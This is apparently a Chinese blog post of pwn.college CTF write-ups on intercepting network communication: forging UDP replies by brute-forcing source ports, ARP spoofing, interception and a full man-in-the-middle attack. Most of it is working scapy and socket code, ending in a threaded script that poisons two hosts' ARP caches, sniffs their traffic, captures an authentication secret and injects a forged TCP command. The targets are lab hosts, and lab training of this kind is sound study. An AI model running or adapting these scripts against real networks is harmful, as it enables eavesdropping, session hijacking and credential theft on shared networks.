当然,之前的欺骗之所以成功,是因为你知道客户端使用的源端口,从而能够伪造服务器的响应。实际上,这是一个非常著名的漏洞的核心,该漏洞存在于域名系统中,该系统负责将像 https://pwn.college 这样的主机名转换为相应的 IP 地址。该漏洞允许攻击者伪造 DNS 服务器的响应,并将受害者重定向到他们选择的 IP 地址!

对该漏洞的修复是随机化 DNS 请求发出的源端口。同样,此挑战不再将源端口绑定到 31338。你还能强制响应吗?


提示: 源端口每个套接字只设置一次,无论是在绑定的时候还是第一次 sendto 的时候。当你有一个你不知道的固定数字时,你该怎么办?

题目关键源码:

client_socket.sendto(b"ACTION?", ("10.0.0.3", 31337))
                message, (peer_host, peer_port) = client_socket.recvfrom(1024)
                if peer_port == 31337 and message.startswith(b"FLAG"):
                    _, flag_host, flag_port = message.strip().split(b":")
                    client_socket.sendto(flag.encode(), (flag_host, int(flag_port)))
查看解析
由于不知道客户端使用的具体端口,需要暴力枚举所有可能的临时端口范围
首先监听
/challenge/run
nc -u -lvp 9999 &
python
from scapy.all import *
for port in range(32768, 61000):
	pkt = IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=port) / Raw(load="FLAG:10.0.0.1:9999")
	send(pkt, verbose=0)

UDP Spoofing 4 UDP 欺骗4

让我们提高一点难度:这个挑战会检查响应是否来自正确的服务器!幸运的是,UDP 比 TCP 更容易伪造。在 TCP 中,伪造服务器响应需要你知道序列号和一大堆其他不便猜测的信息。但 UDP 不是这样!

继续使用 scapy 制作服务器响应,就像你用 TCP 做过的那样,让我们看看标志飞起来吧!

题目关键代码:

if peer_host == "10.0.0.3" and peer_port == 31337 and message.startswith(b"FLAG"):
查看解析
与上一关相同,仅仅多了一个检验传输IP地址的功能
首先监听
/challenge/run
nc -u -lvp 9999 &
python
from scapy.all import *
for port in range(32768, 61000):
	pkt = IP(src="10.0.0.3", dst="10.0.0.2") / UDP(sport=31337, dport=port) / Raw(load="FLAG:10.0.0.1:9999")
	send(pkt, verbose=0)

ARP 地址解析协议

手动发送地址解析协议数据包。该数据包应告知远程主机,IP 地址 10.0.0.42 可以在以太网地址 42:42:42:42:42:42 处找到。数据包应发送到远程主机 10.0.0.2

查看解析
scapy 
from scapy.all import * 
sendp(
	Ether(
		src=get_if_hwaddr("eth0"), dst="ff:ff:ff:ff:ff:ff")
	/ARP(op="is-at", psrc="10.0.0.24", hwsrc=42:42:42:42:42:42, pdst="10.0.0.2"), iface="eth0")
#发送一个 ARP 响应包(ARP Reply),通知网络中的设备,IP 地址 10.0.0.42 对应的 MAC 地址是42:42:42:42:42:42。这实际上是欺骗网络中的其他设备,使它们认为此设备是 10.0.0.42 的“合法”持有者。

Intercept 拦截

拦截来自远程主机的流量。远程主机 10.0.0.2 正在与端口 31337 上的远程主机 10.0.0.3 通信。

查看解析
首先获取10.0.0.2的MAC地址
scapy
srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.2"), timeout=1).hwsrc
然后进行ARP欺骗
sendp(Ether(dst="《10.0.0.2的MAC地址》", src=get_if_hwaddr("eth0")) / ARP(op="is-at", hwsrc=get_if_hwaddr("eth0"), psrc="10.0.0.3", hwdst="《10.0.0.2的MAC地址》", pdst="10.0.0.2"),iface="eth0", count=5)
#告知网络中的设备(特别是 10.0.0.2)“10.0.0.3”的 MAC 地址是当前设备的 MAC 地址。这使得 10.0.0.2 在发送数据包时,将数据包发往当前设备,而不是实际的 10.0.0.3。
exit()
ip addr add 10.0.0.3/24 dev eth0	#在网络接口 eth0 上添加一个新的 IP 地址 10.0.0.3,子网掩码默认为 /24 。这使得当前设备能够与其他在 10.0.0.0/24 网段的设备进行通信。
nc -nlvp 31337 -s 10.0.0.3

Man-in-the-Middle 中间人

对来自远程主机的流量进行中间人攻击。远程主机 10.0.0.2 正在与端口 31337 上的远程主机 10.0.0.3 通信。

源码分析:

#!/usr/bin/exec-suid --real -- /usr/bin/python -I
# Shebang使用exec-suid以真实用户ID运行Python解释器,-I参数表示隔离模式

# 导入必要的模块
import multiprocessing  # 多进程支持,用于进程间通信
import os               # 操作系统接口
import socket           # 网络套接字编程
import time             # 时间相关功能

import psutil           # 系统进程和系统利用率监控库
from dojjail import Host, Network  # 自定义的沙箱/容器化库

# 读取flag文件内容
flag = open("/flag").read()
# 获取父进程的详细信息(用于后续特权设置)
parent_process = psutil.Process(os.getppid())

# 已认证的客户端主机类(继承自Host基类)
class AuthenticatedClientHost(Host):
    def entrypoint(self):
        # 客户端主机的入口函数(运行在独立的环境中)
        while True:
            try:
                # 创建TCP套接字并连接到服务器(10.0.0.3:31337)
                client_socket = socket.socket()
                client_socket.connect(("10.0.0.3", 31337))

                # 验证服务器发送的提示信息
                assert client_socket.recv(1024) == b"secret: "
                # 从server_host实例获取共享的密钥(通过进程间通信)
                secret = bytes(server_host.secret)  # 带外获取密钥
                time.sleep(1)
                # 发送密钥的十六进制编码
                client_socket.sendall(secret.hex().encode())

                # 验证命令提示
                assert client_socket.recv(1024) == b"command: "
                time.sleep(1)
                # 发送"echo"命令
                client_socket.sendall(b"echo")
                time.sleep(1)
                # 发送要回显的数据
                client_socket.sendall(b"Hello, World!")
                # 验证回显结果
                assert client_socket.recv(1024) == b"Hello, World!"

                # 关闭连接
                client_socket.close()
                time.sleep(1)

            except (OSError, ConnectionError, TimeoutError, AssertionError):
                # 发生任何错误时重试(持续循环)
                continue

# 已认证的服务器主机类
class AuthenticatedServerHost(Host):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        # 创建共享内存数组(32字节无符号字符),用于进程间共享密钥
        self.secret = multiprocessing.Array("B", 32)

    def entrypoint(self):
        # 服务器主机的入口函数
        server_socket = socket.socket()
        server_socket.bind(("0.0.0.0", 31337))  # 绑定所有接口
        server_socket.listen()
        while True:
            try:
                # 接受客户端连接
                connection, _ = server_socket.accept()

                # 生成32字节随机密钥并存入共享内存
                self.secret[:] = os.urandom(32)
                time.sleep(1)
                # 发送密钥提示
                connection.sendall(b"secret: ")
                # 接收客户端发送的密钥(十六进制格式)
                secret = bytes.fromhex(connection.recv(1024).decode())
                # 验证密钥,不匹配则关闭连接
                if secret != bytes(self.secret):
                    connection.close()
                    continue

                time.sleep(1)
                # 发送命令提示
                connection.sendall(b"command: ")
                # 接收客户端命令
                command = connection.recv(1024).decode().strip()

                # 处理echo命令
                if command == "echo":
                    data = connection.recv(1024)
                    time.sleep(1)
                    connection.sendall(data)
                # 处理flag命令(返回flag内容)
                elif command == "flag":
                    time.sleep(1)
                    connection.sendall(flag.encode())

                # 关闭连接
                connection.close()
            except ConnectionError:
                # 连接错误时继续监听新连接
                continue

# 创建三个主机实例:
# 用户主机 - 具有父进程的有效用户ID作为特权UID
user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
# 客户端主机 - 使用自定义的认证客户端类
client_host = AuthenticatedClientHost("ip-10-0-0-2")
# 服务器主机 - 使用自定义的认证服务器类
server_host = AuthenticatedServerHost("ip-10-0-0-3")

# 创建网络配置:
# 主机与IP地址的映射,设置子网为10.0.0.0/24
network = Network(hosts={user_host: "10.0.0.1",
                         client_host: "10.0.0.2",
                         server_host: "10.0.0.3"},
                  subnet="10.0.0.0/24")
# 启动网络(所有主机的entrypoint将在隔离环境中运行)
network.run()

# 为用户主机启动交互式shell,继承父进程的环境变量
user_host.interactive(environ=parent_process.environ())
查看解析
文章链接:https://writeups.kunull.net/Pwn%20College/Intro%20to%20Cybersecurity/Intercepting%20Communication
与上关区别在于需要两头进行ARP欺骗,并且需要处理有状态会话
首先获取10.0.0.2的MAC地址
scapy
srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.2"), timeout=1).hwsrc
然后进行ARP欺骗
sendp(Ether(dst="《10.0.0.2的MAC地址》", src=get_if_hwaddr("eth0")) / ARP(op="is-at", hwsrc=get_if_hwaddr("eth0"), psrc="10.0.0.3", hwdst="《10.0.0.2的MAC地址》", pdst="10.0.0.2"),iface="eth0", count=5)
#告知网络中的设备(特别是 10.0.0.2)“10.0.0.3”的 MAC 地址是当前设备的 MAC 地址。这使得 10.0.0.2 在发送数据包时,将数据包发往当前设备,而不是实际的 10.0.0.3
exit()
ip addr add 10.0.0.3/24 dev eth0	#在网络接口 eth0 上添加一个新的 IP 地址 10.0.0.3,子网掩码默认为 /24 。这使得当前设备能够与其他在 10.0.0.0/24 网段的设备进行通信。
使用伪造服务端监听获取密钥
python server.py
获取10.0.0.3的MAC地址
scapy
srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.3"), timeout=1).hwsrc
然后进行ARP欺骗
sendp(Ether(dst="d2:98:24:3e:70:5a", src=get_if_hwaddr("eth0")) / ARP(op="is-at", hwsrc="7a:a9:da:11:a0:a1", psrc="10.0.0.2", hwdst="d2:98:24:3e:70:5a", pdst="10.0.0.3"), iface="eth0", count=5)
#告知网络中的设备(特别是 10.0.0.3)“10.0.0.2”的 MAC 地址是当前设备的 MAC 地址。这样,10.0.0.3 也会将数据包发送到当前设备,而不是实际的 10.0.0.2
exit()
ip addr add 10.0.0.2/24 dev eth0
再使用伪造的客户端发送密钥
python client.py
(失败了)直接做脚本小子
python scrip.py

伪造的服务端server.py:

import socket

s = socket.socket()
s.bind(("10.0.0.3", 31337))
s.listen(1)

print("[+] Waiting for connection from client...")
conn, _ = s.accept()
print("[+] Got connection!")

print("[+] Sending secret prompt...")
conn.sendall(b"secret: ")

# Now the client will send the secret
print("[+] Receiving secret...")
secret_data = conn.recv(1024)

if not secret_data:
    print("[!] Didn't receive anything from client!")
    conn.close()
    exit()

secret_hex = secret_data.decode().strip()
print(f"[+] Captured secret: {secret_hex}")

try:
    secret = bytes.fromhex(secret_hex)
    print(f"[+] Parsed secret: {secret.hex()}")
except Exception as e:
    print(f"[!] Failed to decode hex: {e}")

conn.close()

伪造的客户端client.py:

#!/usr/bin/env python3
"""
伪造客户端获取flag的脚本
使用方法: python3 get_flag.py
"""
import socket
import time

# 之前截获的secret(从你的输出中复制)
SECRET_HEX = "0ef6652b9e98ec941dbd79ca68454edbffb2e94fde1c9d4c2a8e1476cc2bd51a"

# 网络配置
SERVER_IP = "10.0.0.3"
SERVER_PORT = 31337
CLIENT_IP = "10.0.0.2"  # 我们伪装成这个IP

def get_flag():
    """
    连接到服务器,使用截获的secret认证,然后获取flag
    """
    try:
        # 创建socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        
        # 绑定到客户端IP(确保系统允许绑定非本地IP)
        sock.bind((CLIENT_IP, 0))  # 0表示让系统分配端口
        
        # 设置超时
        sock.settimeout(10)
        
        print(f"[+] 连接到服务器 {SERVER_IP}:{SERVER_PORT}...")
        sock.connect((SERVER_IP, SERVER_PORT))
        print("[+] 连接成功!")
        
        # 接收"secret: "提示
        print("[+] 等待secret提示...")
        data = sock.recv(1024)
        print(f"[+] 收到: {repr(data)}")
        
        if data != b"secret: ":
            print(f"[!] 预期收到b'secret: ',但收到: {repr(data)}")
            return False
        
        # 发送secret
        print(f"[+] 发送secret: {SECRET_HEX[:16]}...")
        sock.sendall(SECRET_HEX.encode())
        
        # 接收"command: "提示
        print("[+] 等待command提示...")
        data = sock.recv(1024)
        print(f"[+] 收到: {repr(data)}")
        
        if data != b"command: ":
            print(f"[!] 预期收到b'command: ',但收到: {repr(data)}")
            return False
        
        # 发送"flag"命令
        print("[+] 发送'flag'命令...")
        sock.sendall(b"flag")
        
        # 接收flag
        print("[+] 等待flag响应...")
        time.sleep(1)  # 等待服务器处理
        flag = sock.recv(1024)
        
        if flag:
            print(f"\n{'='*60}")
            print(f"[+] FLAG 获取成功!")
            print(f"[+] Flag: {flag.decode()}")
            print(f"{'='*60}\n")
            return True
        else:
            print("[!] 未收到flag")
            return False
            
    except socket.timeout:
        print("[!] 连接超时")
        return False
    except ConnectionRefusedError:
        print("[!] 连接被拒绝")
        return False
    except Exception as e:
        print(f"[!] 错误: {e}")
        return False
    finally:
        sock.close()
        print("[+] 连接已关闭")

if __name__ == "__main__":
    print("="*60)
    print("伪造客户端攻击脚本")
    print("="*60)
    
    # 尝试最多3次
    for attempt in range(1, 4):
        print(f"\n[第{attempt}次尝试]")
        if get_flag():
            break
        time.sleep(2)

脚本小子script.py:

from scapy.all import *
import threading
import time
import signal
import sys

# Configuration
CLIENT_IP = "10.0.0.2"
SERVER_IP = "10.0.0.3"
ATTACKER_IP = "10.0.0.1"
INTERFACE = "eth0"
SERVER_PORT = 31337

# Global state
sent_flag = False
secret = None

# Get attacker MAC address once
attacker_mac = get_if_hwaddr(INTERFACE)

def get_mac(ip):
    """Get MAC address for a given IP"""
    try:
        ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2, verbose=False, iface=INTERFACE)
        for _, rcv in ans:
            return rcv.hwsrc
    except Exception as e:
        print(f"[!] Error getting MAC for {ip}: {e}")
    print(f"[!] Could not get MAC for {ip}")
    sys.exit(1)

def arp_spoof(target_ip, spoof_ip, target_mac):
    """ARP spoof a single target with proper Ethernet layer"""
    while True:
        # Create ARP response packet with Ethernet layer
        arp_pkt = ARP(
            op=2,  # ARP reply
            pdst=target_ip,
            psrc=spoof_ip,
            hwdst=target_mac,
            hwsrc=attacker_mac
        )
        # Create Ethernet frame
        eth_pkt = Ether(
            dst=target_mac,
            src=attacker_mac
        ) / arp_pkt
        # Send with sendp (layer 2 send)
        sendp(eth_pkt, iface=INTERFACE, verbose=0)
        time.sleep(1)  # Spoof every second

def restore_arp(client_ip, client_mac, server_ip, server_mac):
    """Restore ARP tables to normal"""
    print("\n[*] Restoring ARP tables...")
    
    # Create and send restore packets for both directions
    restore_client = Ether(dst=client_mac, src=server_mac) / \
                     ARP(op=2, pdst=client_ip, psrc=server_ip, hwdst=client_mac, hwsrc=server_mac)
    restore_server = Ether(dst=server_mac, src=client_mac) / \
                     ARP(op=2, pdst=server_ip, psrc=client_ip, hwdst=server_mac, hwsrc=client_mac)
    
    for _ in range(5):
        sendp(restore_client, iface=INTERFACE, verbose=0)
        sendp(restore_server, iface=INTERFACE, verbose=0)
        time.sleep(0.1)
    
    print("[*] ARP tables restored, exiting...")
    sys.exit(0)

def handle_packet(pkt):
    """Handle intercepted packets"""
    global sent_flag, secret
    
    # Check if it's a TCP packet
    if not pkt.haslayer(TCP):
        return
    
    src_ip = pkt[IP].src
    dst_ip = pkt[IP].dst
    sport = pkt[TCP].sport
    dport = pkt[TCP].dport
    
    # Check if it's the right port
    if sport != SERVER_PORT and dport != SERVER_PORT:
        return
    
    # Print packet info for debugging
    if pkt.haslayer(Raw):
        payload = pkt[Raw].load
        if src_ip == CLIENT_IP and dst_ip == SERVER_IP:
            print(f"[<] Client -> Server: {payload}")
        elif src_ip == SERVER_IP and dst_ip == CLIENT_IP:
            print(f"[>] Server -> Client: {payload}")
    else:
        # Print TCP flags if no payload
        flags = pkt[TCP].flags
        if src_ip == CLIENT_IP and dst_ip == SERVER_IP:
            print(f"[<] Client -> Server: TCP flags={flags}")
        elif src_ip == SERVER_IP and dst_ip == CLIENT_IP:
            print(f"[>] Server -> Client: TCP flags={flags}")
    
    # Handle server response with secret prompt
    if src_ip == SERVER_IP and dst_ip == CLIENT_IP and pkt.haslayer(Raw):
        payload = pkt[Raw].load
        
        # Check if server is asking for secret
        if b"secret: " in payload:
            print("[+] Detected secret prompt from server")
        
        # Check if we've received the flag
        elif b"flag" in payload or b"{" in payload or b"}" in payload:
            print(f"\n[!] FLAG FOUND: {payload.decode()}")
            restore_arp(CLIENT_IP, client_mac, SERVER_IP, server_mac)
        
        # Check for command prompt if we haven't sent flag yet
        elif b"command:" in payload and not sent_flag:
            print("\n[+] Detected command prompt from server")
            
            # Extract TCP info for spoofing
            tcp = pkt[TCP]
            seq = tcp.seq
            ack = tcp.ack
            window = tcp.window
            
            # Calculate new sequence and ack numbers
            new_ack = seq + len(payload)
            
            # Create IP layer
            spoof_ip = IP(src=CLIENT_IP, dst=SERVER_IP)
            
            # Create TCP layer
            spoof_tcp = TCP(
                sport=dport,  # Client port (destination port of server's response)
                dport=SERVER_PORT,  # Server port
                seq=ack,  # Client's next sequence number
                ack=new_ack,  # Acknowledge server's data
                flags='PA',  # Push and ACK
                window=window,  # Use same window size
                options=tcp.options  # Copy TCP options
            )
            
            # Send 'flag' command
            spoof_pkt = spoof_ip / spoof_tcp / b"flag"
            sendp(Ether(dst=server_mac, src=attacker_mac) / spoof_pkt, iface=INTERFACE, verbose=0)
            print(f"[+] Sent spoofed 'flag' command")
            sent_flag = True
    
    # Handle client sending secret
    elif src_ip == CLIENT_IP and dst_ip == SERVER_IP and pkt.haslayer(Raw):
        payload = pkt[Raw].load
        # Check if this looks like a secret (hex string of 32 bytes = 64 hex chars)
        if len(payload) == 64 and all(c in b'0123456789abcdef' for c in payload.lower()):
            secret = payload.decode()
            print(f"[+] Captured secret: {secret}")

def main():
    global client_mac, server_mac
    
    print("[*] Starting Man-in-the-Middle Attack...")
    print(f"[*] Client: {CLIENT_IP}")
    print(f"[*] Server: {SERVER_IP}")
    print(f"[*] Interface: {INTERFACE}")
    print(f"[*] Attacker MAC: {attacker_mac}")
    
    # Get MAC addresses
    client_mac = get_mac(CLIENT_IP)
    server_mac = get_mac(SERVER_IP)
    
    print(f"[*] Client MAC: {client_mac}")
    print(f"[*] Server MAC: {server_mac}")
    
    # Set up signal handler for clean exit
    signal.signal(signal.SIGINT, lambda sig, frame: restore_arp(CLIENT_IP, client_mac, SERVER_IP, server_mac))
    
    # Start ARP spoofing threads
    print("[*] Starting ARP spoofing threads...")
    client_spoof_thread = threading.Thread(
        target=arp_spoof, 
        args=(CLIENT_IP, SERVER_IP, client_mac),
        daemon=True
    )
    server_spoof_thread = threading.Thread(
        target=arp_spoof, 
        args=(SERVER_IP, CLIENT_IP, server_mac),
        daemon=True
    )
    
    client_spoof_thread.start()
    server_spoof_thread.start()
    
    # Start sniffing packets
    print("[*] Sniffing traffic...")
    try:
        sniff(
            iface=INTERFACE,
            filter=f"tcp and port {SERVER_PORT}",
            prn=handle_packet,
            store=0,
            promisc=True  # Enable promiscuous mode to capture all traffic
        )
    except KeyboardInterrupt:
        restore_arp(CLIENT_IP, client_mac, SERVER_IP, server_mac)

if __name__ == "__main__":
    main()
posted @ 2024-10-31 16:27  Super_Snow_Sword  阅读(1825)  评论(0)    收藏  举报